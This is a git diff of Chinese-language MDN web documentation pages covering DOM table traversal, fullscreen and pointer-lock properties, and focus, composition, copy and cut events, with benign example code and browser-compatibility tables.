+    function start() {
+        // 获得所有的body元素列表(在这里将只有一个)
+        myDocumentElements=document.getElementsByTagName("body");
+        // 我们所需要body元素是这个列表的第一个元素
+        myBody=myDocumentElements.item(0);
+        // 现在,让我们获得body的子元素中所有的p元素
+        myBodyElements=myBody.getElementsByTagName("p");
+        // 我们所需要的是这个列表中的第二个单元元素
+        myP=myBodyElements.item(1);
+    }
+</script>
+</head>
+<body onload="start()">
+<p>hi</p>
+<p>hello</p>
+</body>
+</html>
+
+ +

在这个例子中,我们设置变量myP指向DOM对象body中的第二个p元素:

+ +
    +
  1. 首先,我们使用下面的代码获得所有的body元素的列表,因为在任何合法的HTML文档中都只有一个body元素,所以这个列表是只包含一个单元的。 +
    document.getElementsByTagName("body")
    +
  2. +
  3. 下一步,我们取得列表的第一个元素,它本身就会body元素对象。 +
    myBody=myDocumentElements.item(0);
    +
  4. +
  5. 然后,我们通过下面代码获得body的子元素中所有的p元素 +
    myBodyElements=myBody.getElementsByTagName("p");
    +
  6. +
  7. 最后,我们从列表中取第二个单元元素。 +
    myP=myBodyElements.item(1);
    +
  8. +
+ +

Image:sample2a2.jpg

+ +

一旦你取得了HTML元素的DOM对象,你就可以设置它的属性了。比如,如果你希望设置背景色属性,你只需要添加:

+ +
myP.style.background="rgb(255,0,0)";
+// 设置inline的背景色风格
+
+
+ +

使用document.createTextNode(..)创建文本节点

+ +

使用文档对象来调用一个createTextNode方法并创建你自己的文本节点。你只需要传递文字内容给这个函数。返回的值就是一个展示那个文本节点信息的对象。

+ +
myTextNode=document.createTextNode("world");
+
+ +

这表示你已经创建了一个TEXT——NODE(一个文字片断)类型的节点,并且它的内容是“world”,任何你对myTextNode的引用都指向这个节点对象。如果想将这个文本插入到HTML页面中,你还需要将它作为其他节点元素的子元素。

+ +

使用appendChild(..)插入元素

+ +

那么,通过调用myP.appendChild({{ mediawiki.external('node_element') }})你可以将这个元素设置成为第二个P的一个新的子元素。

+ +
myP.appendChild(myTextNode);
+
+ +

在测试了这个例子之后,我们注意到,hello和world单词被组合在了一个:helloworld。事实上,当你看到HTML页面时,hello和world两个文字节点看起来更像是一个节点。但是请记住它们在文档模型中的形式--是两个节点。第二个节点是一个TEXT_NODE类型的新节点,也是第二个P标签的第二个子元素。下面的图标将在文档树种展示最近创建的文本节点对象。

+ +

Image:sample2b2.jpg

+ +
createTextNode 和 appendChild 是在单词hello和world之间设置空格的一个简单方法。另外一个重要的注意事项是:appendChild方法将把新的子节点接在最后一个子节点之后,正如world被加在了hello之后。所以如果你想在hello和world中间添加一个文本节点的话,你应该使用insertBefore而不是appendChild.
+ +

使用文档对象和createElement(..)方法创建新的元素

+ +

你可以使用createElement来创建新的HTML元素或者任何其它你想要的元素。比如,如果你想要创建一个新的P作为BODY的子元素,你可以使用前面例子的myBody并给它接上一个新的元素节点。使用 document.createElement("tagname")可以方便的创建一个节点。如下:

+ +
myNewPTAGnode=document.createElement("p");
+myBody.appendChild(myNewPTAGnode);
+
+ +

Image:sample2c.jpg

+ +

使用removeChild(..)方法移除节点

+ +

每一个节点都可以被移除.下面的一行代码移除了包含在myP(第二个p元素)下面的文本节点world。

+ +
myP.removeChild(myTextNode);
+
+ +

最后你可以将myTextNode(那个包含了world单词的节点)添加给我们最后创建的P元素:

+ +
myNewPTAGnode.appendChild(myTextNode);
+
+ +

被修改的对象树的最后的状态如下:

+ +

Image:sample2d.jpg

+ +

动态创建一个表格(回到Sample1.html)

+ +

这一段落的剩余部分我们将继续修改我们sample1.html。下面的图展示了我们在示例中创建的表格的对象树的结构。

+ +

复习一下HTML表格结构

+ +

Image:sample1-tabledom.jpg

+ +

创建元素节点并将他们插入到文档树中

+ +

sample1.html中创建表格的基本步骤是:

+ + + +
在start函数的最后,有一行新代码。使用另一个DOM方法(setAttribute)来设置表格的边界属性。setAttribute有两个参数:属性的名称和属性的值。你可以使用这个方法来设置任意元素的任意属性。
+ +
<head>
+<title>示例代码 - 使用Javascript和DOM Interfaces来处理HTML</title>
+<script>
+    function start() {
+        // 获得body的引用
+        var mybody=document.getElementsByTagName("body").item(0);
+        // 创建一个标签名称为TABLE的元素
+        mytable = document.createElement("TABLE");
+        // 创建一个标签名称为在TBODY的元素
+        mytablebody = document.createElement("TBODY");
+        // 创建所有的单元格
+        for(j=0;j<2;j++) {
+            // 创建一个标签名称为在TR的元素
+            mycurrent_row=document.createElement("TR");
+            for(i=0;i<2;i++) {
+                // 创建一个标签名称为在TD的元素
+                mycurrent_cell=document.createElement("TD");
+                // 创建一个文字节点
+                currenttext=document.createTextNode("cell is row "+j+", column "+i);
+                // 将文字节点添加到TD单元格内
+                mycurrent_cell.appendChild(currenttext);
+                // 将TD单元格添加到TR行中
+                mycurrent_row.appendChild(mycurrent_cell);
+            }
+            // 将TR行添加到TBODY中
+            mytablebody.appendChild(mycurrent_row);
+        }
+        // 将TBODY添加到TABLE中
+        mytable.appendChild(mytablebody);
+        // 将TABLE添加到BODY中
+        mybody.appendChild(mytable);
+        // 设置边界属性为2
+        mytable.setAttribute("border","2");
+    }
+</script>
+</head>
+<body onload="start()">
+</body>
+</html>
+
+ +

使用CSS和DOM来操作表格

+ +

从表格中获得一个文字节点

+ +

示例介绍了两个新的DOM属性。首先,使用childNodes属性来获得mycel的孩子节点列表。childNodes列表包括所有的孩子节点,无论它们的名称或类型是什么。像getElemengByTagName一样,它返回了一个节点列表。不同的是,getElementByTagName只返回指定标签名称的元素。一旦你获得了返回的列表,你可以使用item(x)方法来使用指定的元素。这个例子在表格的第二行第二个单元格中的myceltext中保存了一个文字节点。然后,运行这个例子并观察结果,他创建了一个新的文字节点,这个文字节点的内容是myceltext的值,并且将这个文字节点作为了BODY元素的一个孩子。

+ +
如果你的对象是一个文字节点,你可以使用data属性来回收(retrieve)节点的文字内容
+ +
mybody=document.getElementsByTagName("body").item(0);
+mytable=mybody.getElementsByTagName("table").item(0);
+mytablebody=mytable.getElementsByTagName("tbody").item(0);
+myrow=mytablebody.getElementsByTagName("tr").item(1);
+mycel=myrow.getElementsByTagName("td").item(1);
+// mycel的孩子节点列表的第一个元素
+myceltext=mycel.childNodes.item(0);
+// currenttext的内容是myceltext的内容
+currenttext=document.createTextNode(myceltext.data);
+mybody.appendChild(currenttext);
+
+ +

获得一个属性的值

+ +

在sample1的最后我们在mytable对象上调用了setAttribute。这个调用是用来设置表格的边界属性的。然后是用了getAttribute方法来获得一个属性的值:

+ +
mytable.getAttribute("border");
+
+ +

通过改变样式属性来隐藏一列

+ +

一旦你在你的javascript变量中保存了一个对象,你就可以直接为它设置样式属性了。下面的代码是修改后的sample1.html,在这里,第二列的每一个单元格都被隐藏了。而且第一列中的每一个单元格改为使用红色背景。注意,样式属性是被直接设置的。

+ +
<html>
+<body onload="start()">
+</body>
+<script>
+    function start() {
+       var mybody=document.getElementsByTagName("body").item(0);
+       mytable = document.createElement("TABLE");
+       mytablebody = document.createElement("TBODY");
+       for(j=0;j<2;j++) {
+           mycurrent_row=document.createElement("TR");
+           for(i=0;i<2;i++) {
+               mycurrent_cell=document.createElement("TD");
+               currenttext=document.createTextNode("cell is:"+i+j);
+               mycurrent_cell.appendChild(currenttext);
+               mycurrent_row.appendChild(mycurrent_cell);
+               // 当column为0时,设置单元格背景色;column为1时隐藏单元格
+               if(i==0) {
+                   mycurrent_cell.style.background="rgb(255,0,0)";
+               } else {
+                   mycurrent_cell.style.display="none";
+               }
+           }
+           mytablebody.appendChild(mycurrent_row);
+       }
+       mytable.appendChild(mytablebody);
+       mybody.appendChild(mytable);
+    }
+</script>
+</html>
+
+ +
+{{ languages( { "en": "en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces", "fr": "fr/Explorer_un_tableau_HTML_avec_des_interfaces_DOM_et_JavaScript", "ja": "ja/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces" } ) }}
diff --git a/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html new file mode 100644 index 0000000000..d87cd89683 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html @@ -0,0 +1,77 @@ +--- +title: document.mozFullScreenElement +slug: Web/API/Document/mozFullScreenElement +translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +--- +

{{ ApiRef() }}

+

概述

+

返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回null.

+

语法

+
var element = document.mozFullScreenElement;
+
+

示例

+
function isVideoInFullsreen() {
+  if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') {
+    console.log('您的视频正在以全屏模式显示');
+  }
+}
+

辅助

+

查看使用"全屏模式"页面了解详情.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法提案已经进入相关规范草案 http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement

+

相关链接

+ diff --git a/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html new file mode 100644 index 0000000000..eb6ed9cf98 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html @@ -0,0 +1,105 @@ +--- +title: Document.pointerLockElement +slug: Web/API/Document/pointerLockElement +translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +--- +
{{APIRef("DOM")}}
+ +

pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定,或者目标在另外一个文档中这几种情况,返回的值null。

+ +

语法

+ +
var element = document.pointerLockElement;
+
+ +

返回值

+ +

An {{domxref("Element")}} or null.

+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/accesskey/index.html b/files/zh-cn/web/api/element/accesskey/index.html deleted file mode 100644 index 4f76e7f784..0000000000 --- a/files/zh-cn/web/api/element/accesskey/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Element.accessKey -slug: Web/API/Element/accessKey -tags: - - API接口 - - 属性 - - 需要丰富内容 -translation_of: Web/API/HTMLElement/accessKey -translation_of_original: Web/API/Element/accessKey ---- -
{{APIRef("DOM")}}
- -
 
- -

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

- -
-

注:  Element.accessKey 属性很少使用,因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题,浏览器约定accessKey键与特定按键一起按(比如 Alt + accessKey)来生效快捷键行为。

-
- -

 

- -

 

diff --git a/files/zh-cn/web/api/element/activate_event/index.html b/files/zh-cn/web/api/element/activate_event/index.html deleted file mode 100644 index 3185540e78..0000000000 --- a/files/zh-cn/web/api/element/activate_event/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: 'Element: DOMActivate event' -slug: Web/API/Element/Activate_event -tags: - - API - - 事件 - - 参考 -translation_of: Web/API/Element/DOMActivate_event ---- -

{{APIRef}}

- -

{{Deprecated_Header}}

- -

当元素被激活时发生,例如点击鼠标或键盘按键。

- -

当元素被激活,如使用鼠标点击或使用键盘导航并激活至这个元素时, DOMActivate 事件被触发。

- - - - - - - - - - - - - - - - -
-

Bubbles

-
-

Yes

-
-

Cancelable

-
-

Yes

-
-

Interface

-
-

{{domxref("MouseEvent")}}

-
- -

示例

- -
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseProfile="tiny"
-     xmlns:ev="http://www.w3.org/2001/xml-events"
-     width="6cm" height="5cm" viewBox="0 0 600 500">
-
-  <desc>Example: invoke an ECMAScript function from a DOMActivate event</desc>
-
-  <!-- ECMAScript to change the radius -->
-  <script type="application/ecmascript"><![CDATA[
-    function change(evt) {
-      var circle = evt.target;
-      var currentRadius = circle.getFloatTrait("r");
-      if (currentRadius == 100)
-        circle.setFloatTrait("r", currentRadius * 2);
-      else
-        circle.setFloatTrait("r", currentRadius * 0.5);
-    }
-  ]]></script>
-
-  <!-- Act on each DOMActivate event -->
-  <circle cx="300" cy="225" r="100" fill="red">
-    <handler type="application/ecmascript" ev:event="DOMActivate"> change(evt); </handler>
-  </circle>
-
-  <text x="300" y="480" font-family="Verdana" font-size="35" text-anchor="middle">
-    Activate the circle to change its size
-  </text>
-</svg>
-
- - - -

规范

- - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('UI Events', '#event-type-DOMActivate', 'DOMActivate')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- -

{{Compat("api.Element.DOMActivate_event")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/element/afterscriptexecute_event/index.html b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html new file mode 100644 index 0000000000..b2f4f0d980 --- /dev/null +++ b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html @@ -0,0 +1,57 @@ +--- +title: Element:afterscriptexecute 事件 +slug: Web/Events/afterscriptexecute +tags: + - 事件 + - 参考 + - 非标准 +translation_of: Web/API/Element/afterscriptexecute_event +--- +
{{APIRef}}
+ +
{{Non-standard_header}}
+ +
+

此事件是早期版本的规范中的一个提案。不要依赖它。

+
+ +

afterscriptexecute 事件在一个脚本执行完毕后触发。

+ +

这是一个 Gecko(Firefox)特有的私有事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
+ +

规范

+ +

不属于任何规范。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.afterscriptexecute_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/beforescriptexecute_event/index.html b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html new file mode 100644 index 0000000000..00aa4120c1 --- /dev/null +++ b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html @@ -0,0 +1,57 @@ +--- +title: Element:beforescriptexecute 事件 +slug: Web/Events/beforescriptexecute +tags: + - DOM + - 参考 + - 非标准 +translation_of: Web/API/Element/beforescriptexecute_event +--- +
{{APIRef}}
+ +
{{Non-standard_header}}
+ +
+

此事件是早期版本的规范中的一个提案。不要依赖它。

+
+ +

beforescriptexecute 事件在一个脚本被执行前触发,取消此事件可以阻止该脚本的执行。

+ +

这是一个 Gecko(Firefox)特有的私有事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
+ +

规范

+ +

不属于任何规范。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.beforescriptexecute_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/blur_event/index.html b/files/zh-cn/web/api/element/blur_event/index.html new file mode 100644 index 0000000000..a57cc5b995 --- /dev/null +++ b/files/zh-cn/web/api/element/blur_event/index.html @@ -0,0 +1,150 @@ +--- +title: blur (event) +slug: Web/Events/blur +translation_of: Web/API/Element/blur_event +--- +

当一个元素失去焦点的时候 blur 事件被触发。它和 focusout 事件的主要区别是 focusout 支持冒泡。

+ +

常规信息

+ +
+
规范
+
DOM L3
+
接口
+
{{domxref("FocusEvent")}}
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
元素(Element)
+
默认行为
+
+
+ +

{{NoteStart}}{{domxref("Document.activeElement")}} 的值随浏览器的不同而不同 ({{bug(452307)}}): IE10把值设为焦点将要移向的对象 , 而Firefox和Chrome 往往把值设为body .{{NoteEnd}}

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM 元素)
+ +

事件代理

+ +

有两种方法来为这个事件实现事件代理:在支持 focusout 事件的浏览器中使用 focusout 事件(除了 FireFox 以外的浏览器都支持 focusout)或者通过设置 addEventListener 方法的第三个参数 "useCapture" 为 true:

+ +

HTML Content

+ +
<form id="form">
+  <input type="text" placeholder="text input">
+  <input type="password" placeholder="password">
+</form>
+ +

JavaScript Content

+ +
var form = document.getElementById("form");
+form.addEventListener("focus", function( event ) {
+  event.target.style.background = "pink";
+}, true);
+form.addEventListener("blur", function( event ) {
+  event.target.style.background = "";
+}, true);
+ +

{{EmbedLiveSample('Event_delegation')}}

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatVersionUnknown}}[1]612.15.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.053{{CompatUnknown}}10.012.15.1
+
+ +

[1] 在 Gecko 24 {{geckoRelease(24)}} 之前,事件的接口为 {{domxref("Event")}},而不是 {{domxref("FocusEvent")}}。参考 ({{bug(855741)}}).

+ +

相关的事件

+ + diff --git a/files/zh-cn/web/api/element/compositionend_event/index.html b/files/zh-cn/web/api/element/compositionend_event/index.html new file mode 100644 index 0000000000..4a023fc0e5 --- /dev/null +++ b/files/zh-cn/web/api/element/compositionend_event/index.html @@ -0,0 +1,146 @@ +--- +title: compositionend +slug: Web/Events/compositionend +tags: + - 事件 +translation_of: Web/API/Element/compositionend_event +--- +

当文本段落的组成完成或取消时, compositionend 事件将被触发 (具有特殊字符的触发, 需要一系列键和其他输入, 如语音识别或移动中的字词建议)。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}聚焦元素处理成分
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否冒泡
cancelable {{ReadOnlyInline}}boolean是否可以取消该事件
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (window of the document)
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)正在编辑的原始字符串, 否则为空字符串。只读。
locale{{domxref("DOMString")}} (string)组合事件的语言代码 (如果可用);否则, 为空字符串。只读。
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] 该事件是在9.0 之前的Gecko版本中已经可以使用, 但没有 DOM 级3属性和方法。Gecko还不支持给受信任事件的locale属性设置值。但是, 当创建不受信任的事件时,此值可以通过initCompositionEvent() 设置。

+ + + + diff --git a/files/zh-cn/web/api/element/compositionstart_event/index.html b/files/zh-cn/web/api/element/compositionstart_event/index.html new file mode 100644 index 0000000000..71aa9f1f0d --- /dev/null +++ b/files/zh-cn/web/api/element/compositionstart_event/index.html @@ -0,0 +1,152 @@ +--- +title: compositionstart +slug: Web/Events/compositionstart +tags: + - Element + - Event + - Input method + - compositionstart + - 事件 + - 参考 +translation_of: Web/API/Element/compositionstart_event +--- +

文本合成系统如 {{glossary("input method editor")}}(即输入法编辑器)开始新的输入合成时会触发 compositionstart 事件。

+ +

例如,当用户使用拼音输入法开始输入汉字时,这个事件就会被触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("CompositionEvent")}}
Event handler property + + + + + + +
None
+
+ +

示例

+ +
const inputElement = document.querySelector('input[type="text"]');
+
+inputElement.addEventListener('compositionstart', (event) => {
+  console.log(`generated characters were: ${event.data}`);
+});
+ +

动态演示

+ +

HTML

+ +
<div class="control">
+  <label for="name">On macOS, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label>
+  <input type="text" id="example" name="example">
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea>
+  <button class="clear-log">Clear</button>
+</div>
+ +

CSS

+ +
body {
+  padding: .2rem;
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
+.control {
+  grid-area: control;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+input[type="text"] {
+  margin: .5rem 0;
+}
+
+kbd {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}
+
+ +

JS

+ +
const inputElement = document.querySelector('input[type="text"]');
+const log = document.querySelector('.event-log-contents');
+const clearLog = document.querySelector('.clear-log');
+
+clearLog.addEventListener('click', () => {
+    log.textContent = '';
+});
+
+function handleEvent(event) {
+    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
+}
+
+inputElement.addEventListener('compositionstart', handleEvent);
+inputElement.addEventListener('compositionupdate', handleEvent);
+inputElement.addEventListener('compositionend', handleEvent);
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('UI Events', '#event-type-compositionstart')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.compositionstart_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/compositionupdate_event/index.html b/files/zh-cn/web/api/element/compositionupdate_event/index.html new file mode 100644 index 0000000000..11952af506 --- /dev/null +++ b/files/zh-cn/web/api/element/compositionupdate_event/index.html @@ -0,0 +1,145 @@ +--- +title: compositionupdate +slug: Web/Events/compositionupdate +translation_of: Web/API/Element/compositionupdate_event +--- +

compositionupdate 事件触发于字符被输入到一段文字的时候(这些可见字符的输入可能需要一连串的键盘操作、语音识别或者点击输入法的备选词)

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}焦点所在的,处理文字输入的元素。
type {{ReadOnlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{ReadOnlyInline}}booleanDoes the event normally bubble?
cancelable {{ReadOnlyInline}}booleanIs it possible to cancel the event?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (the window of the document).
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)要被替换掉的字符串,如果输入时没有字符串被选,则为空字符串。只读。
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)输入事件的语言代号,或者空字符串。只读。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在 compositionstart 事件之后不会立即执行。

+ +

[2] compositionupdate 事件在编辑器里的内容改变之前就会触发。自从 Gecko 12.0 {{geckoRelease("12.0")}} 开始 input 事件在输入过程中、内容变化后就触发。使用它可以在输入过程中就获得新的内容。

+ +

Gecko 在可信事件(trusted events)中还不支持 locale 属性。但是开发者可以在使用 initCompositionEvent() 创建不可信事件时指定一个值。

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/element/copy_event/index.html b/files/zh-cn/web/api/element/copy_event/index.html new file mode 100644 index 0000000000..ac249f5055 --- /dev/null +++ b/files/zh-cn/web/api/element/copy_event/index.html @@ -0,0 +1,164 @@ +--- +title: copy +slug: Web/Events/copy +tags: + - Clipboard API + - Event + - Reference +translation_of: Web/API/Element/copy_event +--- +

当用户通过浏览器UI(例如,使用 Ctrl/+C  键盘快捷方式或从菜单中选择“复制”)启动复制操作并响应允许的{{domxref("Document.execCommand","document.execCommand('copy')")}}调用时触发copy事件。

+ +

基本信息

+ +
+
Specification
+
Clipboard
+
Interface
+
{{domxref("ClipboardEvent")}}
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Target
+
{{domxref("Element")}}:获得焦点的元素(如{{domxref("HTMLElement.contentEditable","contentEditable")}}内容能编辑或者可以选中的元素),或{{HTMLElement("body")}}。
+
Default Action
+
见下文。
+
+ +

调用{{domxref("DataTransfer.setData","setData(format, data)")}}可以修改{{domxref("ClipboardEvent.clipboardData")}}事件的默认行为:

+ +
document.addEventListener('copy', function(e){
+    e.clipboardData.setData('text/plain', 'Hello, world!');
+    e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
+    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
+});
+ +

不能使用{{domxref("DataTransfer.getData", "clipboardData.getData()")}}在事件处理函数中获取剪切板数据。

+ +

事件的默认行为与事件的来源和事件处理函数相关:

+ + + +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/cut_event/index.html b/files/zh-cn/web/api/element/cut_event/index.html new file mode 100644 index 0000000000..48c024451a --- /dev/null +++ b/files/zh-cn/web/api/element/cut_event/index.html @@ -0,0 +1,159 @@ +--- +title: cut +slug: Web/Events/cut +tags: + - 事件 + - 剪贴板API + - 参考 +translation_of: Web/API/Element/cut_event +--- +
+

This page needs to be updated to match the currently specified behaviour. In the meantime please refer to the specification: https://www.w3.org/TR/clipboard-apis/#the-cut-action

+
+ +

cut 事件在将选中内容从文档中删除并将其添加到剪贴板后触发。

+ +

如果用户尝试对不可编辑内容执行剪切操作,则cut事件仍会触发,但事件对象不包含任何数据。

+ +

基本信息

+ +
+
规范
+
Clipboard
+
接口
